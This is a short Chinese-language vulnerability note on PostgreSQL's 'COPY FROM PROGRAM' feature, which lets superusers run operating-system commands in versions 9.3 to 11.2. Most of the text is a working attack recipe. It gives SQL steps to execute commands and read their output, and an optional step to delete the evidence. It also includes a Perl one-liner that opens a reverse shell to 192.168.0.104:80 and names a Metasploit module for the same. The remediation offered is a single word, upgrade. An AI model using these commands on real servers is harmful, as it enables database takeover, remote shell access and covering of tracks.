PostgreSQL高权限命令执行漏洞(CVE-2019-919
漏洞概述:
PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。
影响版本:
9.3-11.2
漏洞复现:
首先需要链接数据库,然后执行下列命令。
1.[可选]删除你想用来保存命令输出但是可能存在的表
DROP TABLE IF EXISTS cmd_exec;
2.创建你用来保存命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
3.通过 “COPY FROM PROGRAM”执行系统命令
COPY cmd_execFROM PROGRAM 'id';
4.[可选]查看执行结果
SELECT * FROM cmd_exec;
5.[可选]清除痕迹
DROP TABLE IF EXISTS cmd_exec;
1 2这里需要注意的是如果需要输出类似echo 'hello'命令需要用双引号转义。
在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';
msf有模块可以反弹shell,利用multi/postgres/postgres_copy_from_program_cmd_exec模块。
漏洞修复:
升级版本